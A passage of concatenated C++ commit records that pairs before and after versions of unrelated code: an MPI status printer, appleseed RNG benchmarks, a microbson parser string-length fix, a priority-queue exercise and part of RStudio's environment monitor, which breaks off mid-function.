std::endl\n << \" ERROR:\"\n << std::endl\n << \" \" << pde_name << \" needs to be implemented or it is bad name.\"\n << std::endl\n << \"=============================================================\";\n }\n\n out << std::endl;\n return 0;\n}\n\nvoid print_status( std::string name,\n std::string prm_file,\n int dim,\n int spacedim,\n const MPI_Comm &comm)\n{\n int numprocs = Utilities::MPI::n_mpi_processes(comm);\n int myid = Utilities::MPI::this_mpi_process(comm);\n\n Teuchos::oblackholestream blackhole;\n std::ostream &out = ( Utilities::MPI::this_mpi_process(comm) == 0 ? std::cout : blackhole );\n\n if (myid == 0)\n {\n out << std::endl\n << \"=============================================================\"\n << std::endl\n << \" Name: \" << name\n \/\/ << std::endl\n \/\/ << \"-------------------------------------------------------------\"\n << std::endl\n << \" Prm file: \" << prm_file\n << std::endl\n << \" spacedim: \" << spacedim\n << std::endl\n << \" dim: \" << dim\n << std::endl\n << \" codim: \" << spacedim-dim\n << std::endl\n << \"-------------------------------------------------------------\"\n << std::endl;\n }\n out << \" Process \" << getpid() << \" is \" << myid\n << \" of \" << numprocs << \" processes\" << std::endl;\n\n if (myid == 0)\n {\n out << \"-------------------------------------------------------------\"\n << std::endl;\n system(\"read -p \\\" Press [Enter] key to start...\\\"\");\n out << \"=============================================================\"\n <<std::endl<<std::endl;\n }\n}\n<|endoftext|>"} {"text":"<commit_before>\n\/\/\n\/\/ This source file is part of appleseed.\n\/\/ Visit http:\/\/appleseedhq.net\/ for additional information and resources.\n\/\/\n\/\/ This software is released under the MIT license.\n\/\/\n\/\/ Copyright (c) 2014-2015 Esteban Tovagliari, The appleseedhq Organization\n\/\/\n\/\/ Permission is hereby granted, free of charge, to any person obtaining a copy\n\/\/ of this software and associated documentation files (the \"Software\"), to deal\n\/\/ in the Software without restriction, including without limitation the rights\n\/\/ to use, copy, modify, merge, publish, distribute, sublicense, and\/or sell\n\/\/ copies of the Software, and to permit persons to whom the Software is\n\/\/ furnished to do so, subject to the following conditions:\n\/\/\n\/\/ The above copyright notice and this permission notice shall be included in\n\/\/ all copies or substantial portions of the Software.\n\/\/\n\/\/ THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n\/\/ IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n\/\/ FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n\/\/ AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n\/\/ LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n\/\/ OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\n\/\/ THE SOFTWARE.\n\/\/\n\n\/\/ appleseed.foundation headers.\n#include \"foundation\/math\/rng\/serialmersennetwister.h\"\n#ifdef APPLESEED_USE_SSE\n#include \"foundation\/math\/rng\/simdmersennetwister.h\"\n#endif\n#include \"foundation\/utility\/benchmark.h\"\n\n\/\/ Standard headers.\n#include <cstddef>\n\nusing namespace foundation;\n\nBENCHMARK_SUITE(Foundation_Math_Rng_SerialMersenneTwister)\n{\n BENCHMARK_CASE(RandUint32)\n {\n SerialMersenneTwister rng;\n\n for (size_t i = 0; i < 1753117; ++i)\n rng.rand_uint32();\n }\n}\n\n#ifdef APPLESEED_USE_SSE\n\nBENCHMARK_SUITE(Foundation_Math_Rng_SimdMersenneTwister)\n{\n BENCHMARK_CASE(RandUint32)\n {\n SimdMersenneTwister rng;\n\n for (size_t i = 0; i < 1753117; ++i)\n rng.rand_uint32();\n }\n}\n\n#endif\n<commit_msg>fixed and completed RNG benchmarks.<commit_after>\n\/\/\n\/\/ This source file is part of appleseed.\n\/\/ Visit http:\/\/appleseedhq.net\/ for additional information and resources.\n\/\/\n\/\/ This software is released under the MIT license.\n\/\/\n\/\/ Copyright (c) 2014-2015 Esteban Tovagliari, The appleseedhq Organization\n\/\/\n\/\/ Permission is hereby granted, free of charge, to any person obtaining a copy\n\/\/ of this software and associated documentation files (the \"Software\"), to deal\n\/\/ in the Software without restriction, including without limitation the rights\n\/\/ to use, copy, modify, merge, publish, distribute, sublicense, and\/or sell\n\/\/ copies of the Software, and to permit persons to whom the Software is\n\/\/ furnished to do so, subject to the following conditions:\n\/\/\n\/\/ The above copyright notice and this permission notice shall be included in\n\/\/ all copies or substantial portions of the Software.\n\/\/\n\/\/ THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n\/\/ IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n\/\/ FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n\/\/ AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n\/\/ LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n\/\/ OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\n\/\/ THE SOFTWARE.\n\/\/\n\n\/\/ appleseed.foundation headers.\n#include \"foundation\/math\/rng\/lcg.h\"\n#include \"foundation\/math\/rng\/pcg.h\"\n#include \"foundation\/math\/rng\/serialmersennetwister.h\"\n#ifdef APPLESEED_USE_SSE\n#include \"foundation\/math\/rng\/simdmersennetwister.h\"\n#endif\n#include \"foundation\/math\/rng\/xorshift.h\"\n#include \"foundation\/platform\/types.h\"\n#include \"foundation\/utility\/benchmark.h\"\n\n\/\/ Standard headers.\n#include <cstddef>\n\nusing namespace foundation;\n\nBENCHMARK_SUITE(Foundation_Math_RNG)\n{\n template <typename RNG>\n struct Fixture\n {\n RNG m_rng;\n uint32 m_dummy;\n\n Fixture()\n : m_dummy(0)\n {\n }\n };\n\n BENCHMARK_CASE_F(LCG_RandUint32, Fixture<LCG>)\n {\n for (size_t i = 0; i < 250000; ++i)\n {\n m_dummy ^= m_rng.rand_uint32();\n m_dummy ^= m_rng.rand_uint32();\n m_dummy ^= m_rng.rand_uint32();\n m_dummy ^= m_rng.rand_uint32();\n }\n }\n\n BENCHMARK_CASE_F(PCG_RandUint32, Fixture<PCG>)\n {\n for (size_t i = 0; i < 250000; ++i)\n {\n m_dummy ^= m_rng.rand_uint32();\n m_dummy ^= m_rng.rand_uint32();\n m_dummy ^= m_rng.rand_uint32();\n m_dummy ^= m_rng.rand_uint32();\n }\n }\n\n BENCHMARK_CASE_F(SerialMersenneTwister_RandUint32, Fixture<SerialMersenneTwister>)\n {\n for (size_t i = 0; i < 250000; ++i)\n {\n m_dummy ^= m_rng.rand_uint32();\n m_dummy ^= m_rng.rand_uint32();\n m_dummy ^= m_rng.rand_uint32();\n m_dummy ^= m_rng.rand_uint32();\n }\n }\n\n#ifdef APPLESEED_USE_SSE\n\n BENCHMARK_CASE_F(SimdMersenneTwister_RandUint32, Fixture<SimdMersenneTwister>)\n {\n for (size_t i = 0; i < 250000; ++i)\n {\n m_dummy ^= m_rng.rand_uint32();\n m_dummy ^= m_rng.rand_uint32();\n m_dummy ^= m_rng.rand_uint32();\n m_dummy ^= m_rng.rand_uint32();\n }\n }\n\n#endif\n\n BENCHMARK_CASE_F(Xorshift_RandUint32, Fixture<Xorshift>)\n {\n for (size_t i = 0; i < 250000; ++i)\n {\n m_dummy ^= m_rng.rand_uint32();\n m_dummy ^= m_rng.rand_uint32();\n m_dummy ^= m_rng.rand_uint32();\n m_dummy ^= m_rng.rand_uint32();\n }\n }\n}\n<|endoftext|>"} {"text":"<commit_before>#pragma once\n\n#include <cstddef>\n#include <cstring>\n#include <string>\n#include <utility>\n#include <iterator>\n#include <iomanip>\n\nnamespace microbson\n{\n typedef unsigned char byte;\n\n enum node_type {\n double_node = 0x01,\n string_node = 0x02,\n document_node = 0x03,\n binary_node = 0x05,\n boolean_node = 0x08,\n null_node = 0x0A,\n int32_node = 0x10,\n int64_node = 0x12,\n unknown_node = 0xFF\n };\n\n class document;\n\n template<typename T> struct type_converter { };\n\n template<> struct type_converter<double>\n {\n enum { node_type_code = double_node };\n };\n\n template<> struct type_converter<std::string>\n {\n enum { node_type_code = string_node };\n };\n\n template<> struct type_converter<document>\n {\n enum { node_type_code = document_node };\n };\n\n template<> struct type_converter<void*>\n {\n enum { node_type_code = binary_node };\n };\n\n template<> struct type_converter<bool>\n {\n enum { node_type_code = boolean_node };\n };\n\n template<> struct type_converter<int>\n {\n enum { node_type_code = int32_node };\n };\n\n template<> struct type_converter<long long>\n {\n enum { node_type_code = int64_node };\n };\n\n struct node\n {\n byte* bytes;\n\n node() : bytes(NULL) { }\n\n node(byte* bytes) : bytes(bytes) { }\n\n node_type get_type() const { return static_cast<node_type>(bytes[0]); }\n\n const char* get_name() const\n {\n return reinterpret_cast<const char*>( bytes + 1 );\n }\n\n size_t get_size() const\n {\n size_t result = 1U + strlen(get_name()) + 1U;\n\n switch (get_type())\n {\n case double_node:\n result += sizeof(double);\n break;\n case document_node:\n result += *reinterpret_cast<int*>(bytes + result);\n break;\n case string_node:\n case binary_node:\n result += (\n sizeof(int) \n + *reinterpret_cast<int*>(bytes + result)\n + 1U\n );\n break;\n case boolean_node:\n result += 1U;\n case null_node:\n break;\n case int32_node:\n result += sizeof(int);\n break;\n case int64_node:\n result += sizeof(long long);\n break;\n default:\n result = 0U;\n break;\n }\n\n return result;\n }\n\n void* get_data() const\n {\n return bytes + 1U + strlen(get_name()) + 1U;\n }\n\n bool valid(size_t size) const\n {\n return (size >= 2) && (get_size() <= size);\n }\n };\n\n class document\n {\n private:\n byte* bytes;\n size_t size;\n\n bool lookup(const char* name, node& result) const\n {\n byte* iterator = bytes + sizeof(int);\n size_t left = size - sizeof(int);\n bool found = false;\n\n result = node(iterator);\n\n while (result.valid(left))\n {\n if (strcmp(result.get_name(), name) == 0)\n {\n found = true;\n break;\n }\n else\n {\n iterator += result.get_size();\n left -= result.get_size();\n result = node(iterator);\n }\n }\n\n return found;\n }\n\n template<typename T, typename W>\n T get(node _node) const\n {\n return static_cast<T>(\n *reinterpret_cast<W*>(_node.get_data())\n );\n }\n\n std::string get_string(const node& _node) const\n {\n return std::string(\n reinterpret_cast<const char*>(_node.get_data())\n + sizeof(int),\n *reinterpret_cast<int*>(_node.get_data())\n );\n }\n\n template<typename T, typename W>\n T get(const std::string& name, T _default) const\n {\n node _node;\n\n return lookup(name.c_str(), _node)\n ? get<T, W>(_node)\n : _default\n ;\n }\n\n void dump(const node& _node, std::ostream& _stream) const\n {\n switch(_node.get_type())\n {\n case double_node:\n _stream << get<double, double>(_node); \n break;\n case string_node:\n _stream << '\"' << get_string(_node) << '\"'; \n break;\n case binary_node:\n {\n byte* bytes = reinterpret_cast<byte*>(\n _node.get_data()\n );\n std::ios::fmtflags flags( _stream.flags() );\n\n _stream\n << std::hex \n << std::setw(2) \n << std::setfill('0')\n ;\n copy(\n bytes + 5U,\n bytes + 5U + *static_cast<int*>(\n _node.get_data()\n ),\n std::ostream_iterator<int>(_stream)\n );\n _stream.flags(flags);\n break;\n }\n case boolean_node:\n _stream << (get<bool, byte>(_node) ? \"true\" : \"false\");\n break;\n case null_node:\n _stream << \"(null)\"; \n break;\n case int32_node:\n _stream << get<int, int>(_node);\n break;\n case int64_node:\n _stream << get<long long, long long>(_node);\n break;\n default:\n break;\n }\n }\n\n public:\n document() : bytes(NULL), size(0U) { }\n\n document(void* bytes, size_t count)\n : bytes(reinterpret_cast<byte*>(bytes)), size(count)\n {\n }\n\n bool valid() const\n {\n return (size >= 7U) && (bytes[size -1] == 0);\n }\n\n double get(const std::string& name, double _default) const\n {\n return get<double, double>(name, _default);\n }\n\n std::string get(\n const std::string& name,\n const std::string& _default\n ) const\n {\n node _node;\n bool found = lookup(name.c_str(), _node);\n std::string result(_default);\n\n if (found)\n result = get_string(_node);\n\n return result;\n }\n\n document get(\n const std::string& name, \n const document& _default\n ) const\n {\n node _node;\n bool found = lookup(name.c_str(), _node);\n document result(_default);\n\n if (found)\n result = document(_node.bytes, _node.get_size());\n\n return result;\n }\n\n std::pair<void*, size_t> get(const std::string& name) const\n {\n node _node;\n bool found = lookup(name.c_str(), _node);\n std::pair<void*, size_t> result(NULL, 0U);\n\n if (found) {\n result.second = *reinterpret_cast<int*>(_node.get_data());\n result.first = reinterpret_cast<byte*>(_node.get_data()) + 5U;\n }\n\n return result;\n }\n\n bool get(const std::string& name, bool _default) const\n {\n return get<bool, byte>(name, _default);\n }\n\n int get(const std::string& name, int _default) const\n {\n return get<int, int>(name, _default);\n }\n\n long long get(const std::string& name, long long _default) const\n {\n return get<long long, long long>(name, _default);\n }\n\n void dump(std::ostream& _stream) const\n {\n byte* iterator = bytes + sizeof(int);\n size_t left = size - sizeof(int);\n node _node(iterator);\n\n _stream << \"{ \";\n\n while (_node.valid(left))\n {\n _stream << _node.get_name() << \" : \";\n\n if (_node.get_type() == document_node)\n document(\n _node.get_data(), \n *static_cast<int*>(_node.get_data())\n ).dump(_stream);\n else\n dump(_node, _stream);\n\n iterator += _node.get_size();\n left -= _node.get_size();\n _node = node(iterator);\n\n\n if (_node.valid(left))\n _stream << \", \";\n }\n\n _stream << \" }\";\n }\n\n bool contains(const std::string& name)\n {\n node _node;\n \n return lookup(name.c_str(), _node);\n }\n\n template<typename T>\n bool contains(const std::string& name)\n {\n node _node;\n bool found = lookup(name.c_str(), _node);\n\n return (\n found\n && (_node.get_type() == type_converter<T>::node_type_code)\n );\n }\n };\n}\n<commit_msg>Fix string size calculation in microbson.<commit_after>#pragma once\n\n#include <cstddef>\n#include <cstring>\n#include <string>\n#include <utility>\n#include <iterator>\n#include <iomanip>\n\nnamespace microbson\n{\n typedef unsigned char byte;\n\n enum node_type {\n double_node = 0x01,\n string_node = 0x02,\n document_node = 0x03,\n binary_node = 0x05,\n boolean_node = 0x08,\n null_node = 0x0A,\n int32_node = 0x10,\n int64_node = 0x12,\n unknown_node = 0xFF\n };\n\n class document;\n\n template<typename T> struct type_converter { };\n\n template<> struct type_converter<double>\n {\n enum { node_type_code = double_node };\n };\n\n template<> struct type_converter<std::string>\n {\n enum { node_type_code = string_node };\n };\n\n template<> struct type_converter<document>\n {\n enum { node_type_code = document_node };\n };\n\n template<> struct type_converter<void*>\n {\n enum { node_type_code = binary_node };\n };\n\n template<> struct type_converter<bool>\n {\n enum { node_type_code = boolean_node };\n };\n\n template<> struct type_converter<int>\n {\n enum { node_type_code = int32_node };\n };\n\n template<> struct type_converter<long long>\n {\n enum { node_type_code = int64_node };\n };\n\n struct node\n {\n byte* bytes;\n\n node() : bytes(NULL) { }\n\n node(byte* bytes) : bytes(bytes) { }\n\n node_type get_type() const { return static_cast<node_type>(bytes[0]); }\n\n const char* get_name() const\n {\n return reinterpret_cast<const char*>( bytes + 1 );\n }\n\n size_t get_size() const\n {\n size_t result = 1U + strlen(get_name()) + 1U;\n\n switch (get_type())\n {\n case double_node:\n result += sizeof(double);\n break;\n case document_node:\n result += *reinterpret_cast<int*>(bytes + result);\n break;\n case string_node:\n case binary_node:\n result += (\n sizeof(int) \n + *reinterpret_cast<int*>(bytes + result)\n + 1U\n );\n break;\n case boolean_node:\n result += 1U;\n case null_node:\n break;\n case int32_node:\n result += sizeof(int);\n break;\n case int64_node:\n result += sizeof(long long);\n break;\n default:\n result = 0U;\n break;\n }\n\n return result;\n }\n\n void* get_data() const\n {\n return bytes + 1U + strlen(get_name()) + 1U;\n }\n\n bool valid(size_t size) const\n {\n return (size >= 2) && (get_size() <= size);\n }\n };\n\n class document\n {\n private:\n byte* bytes;\n size_t size;\n\n bool lookup(const char* name, node& result) const\n {\n byte* iterator = bytes + sizeof(int);\n size_t left = size - sizeof(int);\n bool found = false;\n\n result = node(iterator);\n\n while (result.valid(left))\n {\n if (strcmp(result.get_name(), name) == 0)\n {\n found = true;\n break;\n }\n else\n {\n iterator += result.get_size();\n left -= result.get_size();\n result = node(iterator);\n }\n }\n\n return found;\n }\n\n template<typename T, typename W>\n T get(node _node) const\n {\n return static_cast<T>(\n *reinterpret_cast<W*>(_node.get_data())\n );\n }\n\n std::string get_string(const node& _node) const\n {\n return std::string(\n reinterpret_cast<const char*>(_node.get_data())\n + sizeof(int),\n *reinterpret_cast<int*>(_node.get_data()) - 1\n );\n }\n\n template<typename T, typename W>\n T get(const std::string& name, T _default) const\n {\n node _node;\n\n return lookup(name.c_str(), _node)\n ? get<T, W>(_node)\n : _default\n ;\n }\n\n void dump(const node& _node, std::ostream& _stream) const\n {\n switch(_node.get_type())\n {\n case double_node:\n _stream << get<double, double>(_node); \n break;\n case string_node:\n _stream << '\"' << get_string(_node) << '\"'; \n break;\n case binary_node:\n {\n byte* bytes = reinterpret_cast<byte*>(\n _node.get_data()\n );\n std::ios::fmtflags flags( _stream.flags() );\n\n _stream\n << std::hex \n << std::setw(2) \n << std::setfill('0')\n ;\n copy(\n bytes + 5U,\n bytes + 5U + *static_cast<int*>(\n _node.get_data()\n ),\n std::ostream_iterator<int>(_stream)\n );\n _stream.flags(flags);\n break;\n }\n case boolean_node:\n _stream << (get<bool, byte>(_node) ? \"true\" : \"false\");\n break;\n case null_node:\n _stream << \"(null)\"; \n break;\n case int32_node:\n _stream << get<int, int>(_node);\n break;\n case int64_node:\n _stream << get<long long, long long>(_node);\n break;\n default:\n break;\n }\n }\n\n public:\n document() : bytes(NULL), size(0U) { }\n\n document(void* bytes, size_t count)\n : bytes(reinterpret_cast<byte*>(bytes)), size(count)\n {\n }\n\n bool valid() const\n {\n return (size >= 7U) && (bytes[size -1] == 0);\n }\n\n double get(const std::string& name, double _default) const\n {\n return get<double, double>(name, _default);\n }\n\n std::string get(\n const std::string& name,\n const std::string& _default\n ) const\n {\n node _node;\n bool found = lookup(name.c_str(), _node);\n std::string result(_default);\n\n if (found)\n result = get_string(_node);\n\n return result;\n }\n\n document get(\n const std::string& name, \n const document& _default\n ) const\n {\n node _node;\n bool found = lookup(name.c_str(), _node);\n document result(_default);\n\n if (found)\n result = document(_node.bytes, _node.get_size());\n\n return result;\n }\n\n std::pair<void*, size_t> get(const std::string& name) const\n {\n node _node;\n bool found = lookup(name.c_str(), _node);\n std::pair<void*, size_t> result(NULL, 0U);\n\n if (found) {\n result.second = *reinterpret_cast<int*>(_node.get_data());\n result.first = reinterpret_cast<byte*>(_node.get_data()) + 5U;\n }\n\n return result;\n }\n\n bool get(const std::string& name, bool _default) const\n {\n return get<bool, byte>(name, _default);\n }\n\n int get(const std::string& name, int _default) const\n {\n return get<int, int>(name, _default);\n }\n\n long long get(const std::string& name, long long _default) const\n {\n return get<long long, long long>(name, _default);\n }\n\n void dump(std::ostream& _stream) const\n {\n byte* iterator = bytes + sizeof(int);\n size_t left = size - sizeof(int);\n node _node(iterator);\n\n _stream << \"{ \";\n\n while (_node.valid(left))\n {\n _stream << _node.get_name() << \" : \";\n\n if (_node.get_type() == document_node)\n document(\n _node.get_data(), \n *static_cast<int*>(_node.get_data())\n ).dump(_stream);\n else\n dump(_node, _stream);\n\n iterator += _node.get_size();\n left -= _node.get_size();\n _node = node(iterator);\n\n\n if (_node.valid(left))\n _stream << \", \";\n }\n\n _stream << \" }\";\n }\n\n bool contains(const std::string& name)\n {\n node _node;\n \n return lookup(name.c_str(), _node);\n }\n\n template<typename T>\n bool contains(const std::string& name)\n {\n node _node;\n bool found = lookup(name.c_str(), _node);\n\n return (\n found\n && (_node.get_type() == type_converter<T>::node_type_code)\n );\n }\n };\n}\n<|endoftext|>"} {"text":"<commit_before>#include <iostream>\n#include <queue>\n#include <utility>\n\nusing namespace std;\ntypedef pair<int,int> node;\n\n\nint re[1000000];\nint main(int argc, char const *argv[])\n{\n\tpriority_queue<node> pq;\n\n\tpq.push(make_pair(1,2));\n\tnode n;\n\twhile(1){\n\n\t\tnode n=pq.top();\n\n\t\tpq.pop();\n\n\t\tswitch(n.second){\n\t\t\tcase 2:\n\t\t\t\tpq.push(make_pair(n.first*2,3));\n\t\t\tbreak;\n\t\t\tcase 3:\n\t\t\t\tpq.push(make_pair(n.first*3,5));\n\t\t\tbreak;\n\t\t\tcase 5:\n\t\t\t\tpq.push(make_pair(n.first*5,0));\n\t\t\tbreak;\n\t\t}\n\n\t}\n\treturn 0;\n}<commit_msg>update 346588<commit_after>#include <iostream>\n#include <queue>\n#include <utility>\n\nusing namespace std;\ntypedef pair<int,int> node;\n\n\nint re[1000000];\nint main(int argc, char const *argv[])\n{\n\tpriority_queue<node> pq;\n\n\tpq.push(make_pair(1,2));\n\tnode n;\n\tint i=0;\n\twhile(1){\n\n\t\tnode n=pq.top();\n\n\t\tpq.pop();\n\n\t\tswitch(n.second){\n\t\t\tcase 2:\n\t\t\t\tpq.push(make_pair(n.first*2,3));\n\t\t\tbreak;\n\t\t\tcase 3:\n\t\t\t\tpq.push(make_pair(n.first*3,5));\n\t\t\tbreak;\n\t\t\tcase 5:\n\t\t\t\tpq.push(make_pair(n.first*5,0));\n\t\t\tbreak;\n\t\t}\n\t\tre[i++]=n.first;\n\n\n\t}\n\treturn 0;\n}<|endoftext|>"} {"text":"<commit_before>\/*\n * EnvironmentMonitor.cpp\n *\n * Copyright (C) 2009-12 by RStudio, Inc.\n *\n * Unless you have received this program directly from RStudio pursuant\n * to the terms of a commercial license agreement with RStudio, then\n * this program is licensed to you under the terms of version 3 of the\n * GNU Affero General Public License. This program is distributed WITHOUT\n * ANY EXPRESS OR IMPLIED WARRANTY, INCLUDING THOSE OF NON-INFRINGEMENT,\n * MERCHANTABILITY OR FITNESS FOR A PARTICULAR PURPOSE. Please refer to the\n * AGPL (http:\/\/www.gnu.org\/licenses\/agpl-3.0.txt) for more details.\n *\n *\/\n\n#include \"EnvironmentMonitor.hpp\"\n\n#include <r\/RSexp.hpp>\n#include <r\/RInterface.hpp>\n#include <session\/SessionModuleContext.hpp>\n\n#include \"EnvironmentUtils.hpp\"\n\nusing namespace core;\n\nnamespace session {\nnamespace modules {\nnamespace environment {\nnamespace {\n\nbool compareVarName(const r::sexp::Variable& var1,\n const r::sexp::Variable& var2)\n{\n return var1.first < var2.first;\n}\n\nvoid enqueRefreshEvent()\n{\n ClientEvent refreshEvent(client_events::kEnvironmentRefresh);\n module_context::enqueClientEvent(refreshEvent);\n}\n\n\/\/ if the given variable is an unevaluated promise, add it to the given\n\/\/ list of variables\nvoid addUnevaledPromise(std::vector<r::sexp::Variable>* pEnv,\n const r::sexp::Variable& var)\n{\n if (isUnevaluatedPromise(var.second))\n {\n pEnv->push_back(var);\n }\n}\n\n\/\/ if the given variable exists in the given list, remove it\nvoid removeVarFromList(std::vector<r::sexp::Variable>* pEnv,\n const r::sexp::Variable& var)\n{\n std::vector<r::sexp::Variable>::iterator iter =\n std::find(pEnv->begin(), pEnv->end(), var);\n if (iter != pEnv->end())\n {\n pEnv->erase(iter);\n }\n}\n\n} \/\/ anonymous namespace\n\nEnvironmentMonitor::EnvironmentMonitor() :\n initialized_(false)\n{}\n\nvoid EnvironmentMonitor::enqueRemovedEvent(const r::sexp::Variable& variable)\n{\n ClientEvent removedEvent(client_events::kEnvironmentRemoved, variable.first);\n module_context::enqueClientEvent(removedEvent);\n}\n\nvoid EnvironmentMonitor::enqueAssignedEvent(const r::sexp::Variable& variable)\n{\n \/\/ get object info\n json::Value objInfo = varToJson(getMonitoredEnvironment(), variable);\n\n \/\/ enque event\n ClientEvent assignedEvent(client_events::kEnvironmentAssigned, objInfo);\n module_context::enqueClientEvent(assignedEvent);\n}\n\nvoid EnvironmentMonitor::setMonitoredEnvironment(SEXP pEnvironment)\n{\n environment_.set(pEnvironment);\n\n \/\/ init the environment by doing an initial check for changes\n initialized_ = false;\n checkForChanges();\n}\n\nSEXP EnvironmentMonitor::getMonitoredEnvironment()\n{\n return environment_.get();\n}\n\nvoid EnvironmentMonitor::listEnv(std::vector<r::sexp::Variable>* pEnv)\n{\n r::sexp::Protect rProtect;\n r::sexp::listEnvironment(getMonitoredEnvironment(), false, &rProtect, pEnv);\n}\n\nvoid EnvironmentMonitor::checkForChanges()\n{\n \/\/ information about the current environment\n std::vector<r::sexp::Variable> currentEnv ;\n std::vector<r::sexp::Variable> currentPromises;\n\n \/\/ list of assigns\/removes (includes both value changes and promise\n \/\/ evaluations)\n std::vector<r::sexp::Variable> addedVars;\n std::vector<r::sexp::Variable> removedVars;\n\n \/\/ get the set of variables and promises in the current environment\n listEnv(¤tEnv);\n\n \/\/ R returns an environment list sorted in dictionary order. Since the\n \/\/ set difference algorithms below use simple string comparisons to\n \/\/ establish order, we need to re-sort the list into canonical order\n \/\/ to avoid the algorithms detecting superfluous insertions.\n std::sort(currentEnv.begin(), currentEnv.end(), compareVarName);\n\n std::for_each(currentEnv.begin(), currentEnv.end(),\n boost::bind(addUnevaledPromise, ¤tPromises, _1));\n\n bool refreshEnqueued = false;\n if (!initialized_)\n {\n if (getMonitoredEnvironment() == R_GlobalEnv)\n {\n enqueRefreshEvent();\n refreshEnqueued = true;\n }\n initialized_ = true;\n }\n else\n {\n if (currentEnv != lastEnv_)\n {\n \/\/ optimize for empty currentEnv (user reset workspace) or empty\n \/\/ lastEnv_ (startup) by just sending a single refresh event\n \/\/ only do this for the global environment--while debugging local\n \/\/ environments, the environment object list is sent down as part of\n \/\/ the context depth event.\n if ((currentEnv.empty() || lastEnv_.empty())\n && getMonitoredEnvironment() == R_GlobalEnv)\n {\n enqueRefreshEvent();\n refreshEnqueued = true;\n }\n else\n {\n std::set_difference(lastEnv_.begin(), lastEnv_.end(),\n currentEnv.begin(), currentEnv.end(),\n std::back_inserter(removedVars),\n compareVarName);\n\n \/\/ fire removed event for deletes\n std::for_each(removedVars.begin(),\n removedVars.end(),\n boost::bind(&EnvironmentMonitor::enqueRemovedEvent,\n this, _1));\n\n \/\/ remove deleted objects from the list of uneval'ed promises\n \/\/ so we'll stop monitoring them for evaluation\n std::for_each(removedVars.begin(),\n removedVars.end(),\n boost::bind(removeVarFromList, &unevaledPromises_, _1));\n\n \/\/ find adds & assigns (all variable name\/value combinations in the\n \/\/ current environment but NOT in the previous environment)\n std::set_difference(currentEnv.begin(), currentEnv.end(),\n lastEnv_.begin(), lastEnv_.end(),\n std::back_inserter(addedVars));\n }\n }\n \/\/ if a refresh is scheduled there's no need to emit add events one by one\n if (!refreshEnqueued)\n {\n \/\/ have any promises been evaluated since we last checked?\n if (currentPromises != unevaledPromises_)\n {\n \/\/ for each promise that is in the set of promises we are monitoring\n \/\/ for evaluation but not in the set of currently tracked promises,\n \/\/ we assume this to be an eval--process as an assign\n std::set_difference(unevaledPromises_.begin(), unevaledPromises_.end(),\n currentPromises.begin(), currentPromises.end(),\n std::back_inserter(addedVars));\n }\n\n \/\/ fire assigned event for adds, assigns, and promise evaluations\n std::for_each(addedVars.begin(),\n addedVars.end(),\n boost::bind(&EnvironmentMonitor::enqueAssignedEvent,\n this, _1));\n }\n }\n\n unevaledPromises_ = currentPromises;\n lastEnv_ = currentEnv;\n}\n\n\n} \/\/ namespace environment\n} \/\/ namespace modules\n} \/\/ namespace session\n<commit_msg>fix promise evaluation display when promise SEXP is simultaneously eval'ed and assigned<commit_after>\/*\n * EnvironmentMonitor.cpp\n *\n * Copyright (C) 2009-12 by RStudio, Inc.\n *\n * Unless you have received this program directly from RStudio pursuant\n * to the terms of a commercial license agreement with RStudio, then\n * this program is licensed to you under the terms of version 3 of the\n * GNU Affero General Public License. This program is distributed WITHOUT\n * ANY EXPRESS OR IMPLIED WARRANTY, INCLUDING THOSE OF NON-INFRINGEMENT,\n * MERCHANTABILITY OR FITNESS FOR A PARTICULAR PURPOSE. Please refer to the\n * AGPL (http:\/\/www.gnu.org\/licenses\/agpl-3.0.txt) for more details.\n *\n *\/\n\n#include \"EnvironmentMonitor.hpp\"\n\n#include <r\/RSexp.hpp>\n#include <r\/RInterface.hpp>\n#include <session\/SessionModuleContext.hpp>\n\n#include \"EnvironmentUtils.hpp\"\n\nusing namespace core;\n\nnamespace session {\nnamespace modules {\nnamespace environment {\nnamespace {\n\nbool compareVarName(const r::sexp::Variable& var1,\n const r::sexp::Variable& var2)\n{\n return var1.first < var2.first;\n}\n\nvoid enqueRefreshEvent()\n{\n ClientEvent refreshEvent(client_events::kEnvironmentRefresh);\n module_context::enqueClientEvent(refreshEvent);\n}\n\n\/\/ if the given variable is an unevaluated promise, add it to the given\n\/\/ list of variables\nvoid addUnevaledPromise(std::vector<r::sexp::Variable>* pEnv,\n const r::sexp::Variable& var)\n{\n if (isUnevaluatedPromise(var.second))\n {\n pEnv->push_back(var);\n }\n}\n\n\/\/ If the given variable exists in the given list, remove it. Compares on name\n\/\/ only.\nvoid removeVarFromList(std::vector<r::sexp::Variable>* pEnv,\n const r::sexp::Variable& var)\n{\n for (std::vector<r::sexp::Variable>::iterator iter = pEnv->begin();\n iter != pEnv->end(); iter++)\n {\n if (iter->first == var.first)\n {\n pEnv->erase(iter);\n break;\n }\n }\n}\n\n} \/\/ anonymous namespace\n\nEnvironmentMonitor::EnvironmentMonitor() :\n initialized_(false)\n{}\n\nvoid EnvironmentMonitor::enqueRemovedEvent(const r::sexp::Variable& variable)\n{\n ClientEvent removedEvent(client_events::kEnvironmentRemoved, variable.first);\n module_context::enqueClientEvent(removedEvent);\n}\n\nvoid EnvironmentMonitor::enqueAssignedEvent(const r::sexp::Variable& variable)\n{\n \/\/ get object info\n json::Value objInfo = varToJson(getMonitoredEnvironment(), variable);\n\n \/\/ enque event\n ClientEvent assignedEvent(client_events::kEnvironmentAssigned, objInfo);\n module_context::enqueClientEvent(assignedEvent);\n}\n\nvoid EnvironmentMonitor::setMonitoredEnvironment(SEXP pEnvironment)\n{\n 